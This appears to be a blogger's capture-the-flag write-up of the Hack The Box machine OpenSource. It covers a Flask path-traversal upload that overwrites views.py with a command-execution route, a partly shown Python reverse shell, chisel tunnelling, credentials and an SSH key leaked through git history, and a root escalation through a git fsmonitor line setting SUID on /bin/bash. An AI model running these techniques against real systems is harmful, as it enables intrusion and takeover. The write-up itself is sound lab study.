Hack The Box OpenSource Writeup


Hello world and welcome to Haxez, I’m back on my daily hacking spree and this time I’m looking at the easy Hack The Box machine OpenSource. These writeups are not meant to be walkthroughs, they are to document my journey. I may get frustrated, and angry along the way but hopefully, I will root the box and learn something new.

OpenSource Enumeration

To start enumerating the box, we use our tried and tested old faithful tool of Nmap. As you can see from the output below, we have ports 22, 80 and 3000 open. If I didn’t already know that this was a Linux box then the ports would be a giveaway. Please note, I’ve snipped out some of the output in order to keep it looking neat.

└──╼ [★]$ sudo nmap -sC -sV -p- -A
[sudo] password for haxez: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-15 07:18 GMT
Nmap scan report for
Host is up (0.013s latency).
Not shown: 65532 closed tcp ports (reset)
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1e59057ca958c923900f7523823d055f (RSA)
|   256 48a853e7e008aa1d968652bb8856a0b7 (ECDSA)
|_  256 021f979e3c8e7a1c7caf9d5a254bb8c8 (ED25519)
80/tcp   open     http    Werkzeug/2.1.2 Python/3.10.3
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Wed, 15 Mar 2023 07:19:07 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5316
|     Connection: close
|     <html lang="en">
|     <head>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
3000/tcp filtered ppp
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 111/tcp)
1   11.64 ms
2   11.86 ms
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.68 seconds

Whats UpCloud?

Do you like UpCloud? Whats UpCloud? doesn’t quite work. Anyway, the web application appears to be advertising some type of file upload/transfer service. The download button allows us to download what appears to be the source code of the application. The take me there button takes us to a live version of the application.

OpenSource Upcloud Web Application

OpenSource Code Analysis

So rather than poke at the application, I’m going to look at the source code. The answers to getting a foothold are likely to be found in the source code. Also, the video I’m watching to assist me is looking at the source code too. We can see that it is using docker.

└──╼ [★]$ tree -R
├── app
│   ├── app
│   │   ├── configuration.py
│   │   ├── __init__.py
│   │   ├── static
│   │   │   ├── css
│   │   │   │   └── style.css
│   │   │   ├── js
│   │   │   │   ├── ie10-viewport-bug-workaround.js
│   │   │   │   └── script.js
│   │   │   └── vendor
│   │   │       ├── bootstrap
│   │   │       │   ├── css
│   │   │       │   │   ├── bootstrap.css
│   │   │       │   │   ├── bootstrap.css.map
│   │   │       │   │   ├── bootstrap-grid.css
│   │   │       │   │   ├── bootstrap-grid.css.map
│   │   │       │   │   ├── bootstrap-grid.min.css
│   │   │       │   │   ├── bootstrap-grid.min.css.map
│   │   │       │   │   ├── bootstrap.min.css
│   │   │       │   │   ├── bootstrap.min.css.map
│   │   │       │   │   ├── bootstrap-reboot.css
│   │   │       │   │   ├── bootstrap-reboot.css.map
│   │   │       │   │   ├── bootstrap-reboot.min.css
│   │   │       │   │   └── bootstrap-reboot.min.css.map
│   │   │       │   └── js
│   │   │       │       ├── bootstrap.bundle.js
│   │   │       │       ├── bootstrap.bundle.js.map
│   │   │       │       ├── bootstrap.bundle.min.js
│   │   │       │       ├── bootstrap.bundle.min.js.map
│   │   │       │       ├── bootstrap.js
│   │   │       │       ├── bootstrap.js.map
│   │   │       │       ├── bootstrap.min.js
│   │   │       │       └── bootstrap.min.js.map
│   │   │       ├── font-awesome
│   │   │       │   └── all.min.css
│   │   │       ├── jquery
│   │   │       │   ├── jquery-3.4.1.js
│   │   │       │   ├── jquery-3.4.1.min.js
│   │   │       │   └── jquery-3.4.1.min.map
│   │   │       └── popper
│   │   │           ├── popper.js
│   │   │           ├── popper.js.flow
│   │   │           ├── popper.js.map
│   │   │           ├── popper.min.js
│   │   │           ├── popper.min.js.map
│   │   │           ├── popper-utils.js
│   │   │           ├── popper-utils.js.map
│   │   │           ├── popper-utils.min.js
│   │   │           └── popper-utils.min.js.map
│   │   ├── templates
│   │   │   ├── index.html
│   │   │   ├── success.html
│   │   │   └── upload.html
│   │   ├── utils.py
│   │   └── views.py
│   ├── INSTALL.md
│   ├── public
│   │   └── uploads
│   └── run.py
├── build-docker.sh
├── config
│   └── supervisord.conf
├── Dockerfile
└── source.zip

A quick look at the Dockerfile suggests the image is Python:3-Alpine. I’ve done a few containers escapes before. I wonder if this is where we’re heading with this. Since docker is running on the host, it makes sense for us to use it to perform the privilege escalation.

└──╼ [★]$ head Dockerfile 
FROM python:3-alpine
# Install packages
RUN apk add --update --no-cache supervisor
# Upgrade pip
RUN python -m pip install --upgrade pip
# Install dependencies
RUN pip install Flask

Change History

I’m not overly familiar with using git outside of using it to clone repositories. It’s something I need to improve upon especially since you can do cool forensic stuff like we’re about to. Can you do git log on any repository you clone? can you also do git show and git checkout on any repository? That’s great but also terrifying. Think of all the hidden credentials or private keys that are hidden in previous iterations of someone’s code.

└──╼ [★]$ git log
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:55:55 2022 +0200
    clean up dockerfile for production use
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:45:17 2022 +0200

Let’s take a look at the changes made to the most recent commit. From the output below we can see that a few changes were made including setting the environment to production. I’m not sure if this allowed the Wizard to deduce there was a dev branch, or whether there is always a dev branch. I’m going to assume the latter until I read about it later.

└──╼ [★]$ git show 2c67a52253c6fe1f206ad82ba747e43208e8cfd9
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:55:55 2022 +0200
    clean up dockerfile for production use
diff --git a/Dockerfile b/Dockerfile
index 76c7768..5b0553c 100644
--- a/Dockerfile
+++ b/Dockerfile
 # Set mode
 # Run supervisord
 CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]

Let’s get the dev branch and view the change history there. We can see that there have been a number of commits. Perhaps going through these will tell us a story about how the application was built. Maybe, there could even be some hard-coded credentials or something.

└──╼ [★]$ git checkout dev
Switched to branch 'dev'
└──╼ [★]$ git log
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:47:24 2022 +0200

    ease testing

commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:54 2022 +0200

    added gitignore

commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:16 2022 +0200


commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:45:17 2022 +0200



According to the Wizard, there is a vulnerability in the following line of code. If you place a forward slash in front of a directory, it will cancel out the initial directory. So, the code below should place us in public/uploads. However, as we control the name of the file we can change the directory. I will have to see it in action before I can understand what’s happening. Sounds interesting though.

file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
OpenSource File Upload

Unfortunately, it does seem that there is some input sanitization going on. The screenshot below shows that the application is attempting to capture ‘../’ from the filename. Hopefully, this shouldn’t cause too much of a problem. Perhaps we could double it up to something like ‘….//’ so that it only strips out the first ‘../’. We will see.

OpenSource Code

OpenSource Exploit Development

Ok, this makes sense to me when watching the video. However, I would have had no idea that this is what you were supposed to do. We take the original views.py file and edit it to add a “command shell” I suppose. Like with PHP and Bash, I imagine this is the Python equivalent and something that I will get used to. We take the original views.py and we add the following section at the bottom.

import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app

def index():
    return render_template('index.html')

def download():
    return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))

@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')

def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

def run_command(cmd):
    import subprocess
    return subprocess.check_output(cmd.split(" "))

Then we save the file and upload it via Burp. We can use the weakness in the file upload code (mentioned previously) to change directories and overwrite the existing file. So we save the file as views.py.

SourceCode Saving Exploit

And then we use Burp to upload it and change the directory to that of the original file. The original directory was ‘/app/app/views.py which we can obtain from generating a file not found error on the application.

SourceCode File Path

OpenSource Foothold Proof Of Concept

I thought this was an extremely cool method of getting command execution. However, I wouldn’t have known what to do myself so I have learned a lot. I definitely need to be more confident when reviewing code. It exploits the file upload weakness to upload a malicious file and gives us command execution.

As you can see from the image below, we have changed the name of the file to ‘/app/app/views.py’. Now, when the file gets uploaded, it should overwrite the original ‘/app/app/views.py’ with our malicious file. Once it is uploaded, we should have command execution.

OpenSource Malicious Upload

With the file uploaded, we can pass commands to the URL in order to run them. For example, I can run the following ‘whoami’ command by visiting ‘http://<target IP>/run/whoami and shockingly we can see that the application is running as root. However, this is probably going to be ‘root’ inside the docker container. We likely have a long way to go still.

Command Execution

OpenSouce Foothold Exploit

We’re now going to add another function to the views.py application. This function is going to be a reverse shell that lets it submit our IP address as an argument. I grabbed a Python payload from PayloadAllTheThings and modified it so that it would work with the existing code. Obviously, I was just copying everything that the Wizard was doing.

def rev_shell(ip):
    import socket,os,pty

We can then go back to Repeater in Burpsuite and add our code to the bottom of the request and resend it. If it comes back with a 200 we should be good, if it errors then remove the changes, send the request to update it and try again.

Burp Suite Repeater

Then start a listener on the port you chose (in my case 1337, because of course).

└──╼ [★]$ sudo nc -lvnp 1337
[sudo] password for haxez: 
listening on [any] 1337 ...

Then you visit the application route that you created in your browser and pass it your IP address. Unfortunately, it seems I got a socket error for some reason so I will need to go back and look at the code. Once, I’ve fixed that I will try again.

Error Message

And I spotted my mistake, In the ‘s.connect((ip,10001))’ section, I still had the ‘ip’ in quotation marks. That makes sense. Ok, we now have a shell. Not a very good shell admittidly.

System Enumeration

This is a cool trick, after connecting to the host we can check the IP address and see that it is on a completely different range than the target. For example, the target IP for OpenSource is but the IP returned in the shell is This is a huge sign that we’re inside a container. We can further confirm this by using netcat to connect to the container host on port 22 via the first IP address in that range (like a default gateway I suppose).

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet scope host lo
       valid_lft forever preferred_lft forever
24: eth0@if25: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP 
    link/ether 02:42:ac:11:00:08 brd ff:ff:ff:ff:ff:ff
    inet brd scope global eth0
       valid_lft forever preferred_lft forever

nc 22
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.7

Chiseling Through

Ok, so we’re on the container. We also know from our nmap scan that there was a port 3000. We can use a program called chisel to port forward the hosts port 3000 through our container so that we can access it locally. First, download the chisel program and use a python webserver to get it onto the docker container. Then on your attack box, start a server.

└──╼ [★]$ ./chisel server -p 8001 --reverse
2023/03/15 09:59:54 server: Reverse tunnelling enabled
2023/03/15 09:59:54 server: Fingerprint PIZtzkgEwf3R2bylwQt/I86a2MUk/1eeKGSkL+nHRAU=
2023/03/15 09:59:54 server: Listening on

Then on the target, create a client that connects to your host.

/tmp # ./chisel client R:3000:
2023/03/15 10:17:32 client: Connecting to ws://
2023/03/15 10:17:32 client: Connected (Latency 12.057386ms) - - [15/Mar/2023 10:18:03] "GET / HTTP/1.1" 200 -

We now have a new website which we can access by visiting http://localhost:3000. It looks like a git-style version management portal. I’ve never heard of Gitea before but now I’m going to have to go and research it in my own time.

OpenSource Gitea

We can also see that the application has a login page. However, we don’t appear to have any credentials for it. Perhaps we can find them in the source code we downloaded earlier.

OpenSource Getting User

Gittea login page

I need to speed this up as I’m supposed to be working but let’s break it down quickly. First, we need to change to a different thing by running git checkout.

└──╼ [★]$ git checkout a76f8f75f7a4a12b706b0cf9c983796fa1985820

Now we can grab the credentials from the settings.json file found in the hidden .vscode directory. We can use these credentials to login to the application.

└──╼ [★]$ cat settings.json 
  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
  "http.proxy": "http://dev01:Soulless_Developer#[email protected]:5187/",
  "http.proxyStrictSSL": false
OpenSource Gitea Logged in

Attempting to navigate to the backup repository gives us an error. We need to add the URL to our host file.

OpenSource no route
echo ' opensource.htb' | sudo tee -a /etc/hosts
OpenSource Private key

The developer backed up his home directory including his private key. We can steal this, pop it into a text document, give it 600 permissions and use it to SSH to the server. From here we should be able to grab the user flag to. This has been a long path to get to the user, I hope root is fairly straightforward.

└──╼ [★]$ vim dev.key
└──╼ [★]$ chmod 600 dev.key
└──╼ [★]$ ssh -i dev.key [email protected]
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:a6VljAI6pLD7/108ls+Bi5y88kWaYI6+V4lTU0KQsQU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Mar 15 10:36:34 UTC 2023

  System load:  0.03              Processes:              217
  Usage of /:   75.6% of 3.48GB   Users logged in:        0
  Memory usage: 22%               IP address for eth0:
  Swap usage:   0%                IP address for docker0:

16 updates can be applied immediately.
9 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Last login: Mon May 16 13:13:33 2022 from
dev01@opensource:~$ cat /home/dev01/user.txt 

OpenSource Privilege Escalation

I downloaded a copy of pspy64 to the directory of my Python3 webserver. Then I used wget on the OpenSource target gox to download the file. I gave it executable permissions and ran it to see what processes were running. The following process stands out ‘/bin/bash /usr/local/bin/git-sync’.

dev01@opensource:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
2023/03/15 10:49:01 CMD: UID=0     PID=8943   | /bin/bash /usr/local/bin/git-sync 
2023/03/15 10:49:01 CMD: UID=0     PID=8944   | /bin/bash /usr/local/bin/git-sync 
2023/03/15 10:49:01 CMD: UID=0     PID=8946   | /bin/bash /usr/local/bin/git-sync 
2023/03/15 10:49:01 CMD: UID=0     PID=8947   | /usr/lib/git-core/git-remote-http 

Let’s take a look at this file. It seems that it is looking for changes in /home/dev01. If there are any changes then it performs a git commit.

dev01@opensource:/tmp$ ls -lash /usr/local/bin/git-sync
4.0K -rwxr-xr-x 1 root root 239 Mar 23  2022 /usr/local/bin/git-sync
dev01@opensource:/tmp$ cat /usr/local/bin/git-sync

cd /home/dev01/

if ! git status --porcelain; then
    echo "No changes"
    day=$(date +'%Y-%m-%d')
    echo "Changes detected, pushing.."
    git add .
    git commit -m "Backup for ${day}"
    git push origin main

According to the official walkthrough, we can abuse this by adding a command to the .git/config file to give the /bin/bash binary SUID permissions so that it will automatically elevate us to root when we run it. Let’s give it a go. The following line needs to be added to the .git/config file, then the fsmonitor command will get executed when git commit is run.

fsmonitor = "chmod 4755 /bin/bash"
Changing the config.

And that is that after waiting a moment you can list the ‘/bin/bash’ file and see that it now has the SUID bit set. You need only run the bash command to elevate to root and capture the root flag.

bash-4.4$ ls -laSh /bin/bash
-rwsr-xr-x 1 root root 1.1M Apr 18  2022 /bin/bash
bash-4.4$ bash -p
bash-4.4# whoami

bash-4.4# cat /root/root.txt

OpenSource Review

I had a lot of fun with this one and learnt a lot. I can honestly say though that I wouldn’t have had a clue what to do. The path to the user flag was very complicated. I realise the word ‘very’ is unessasary here but it was VERY complicated. We had to pivot through docker containers and learn how to use versioning in git. Wow. While I definitely don’t think this was easy, it was fun.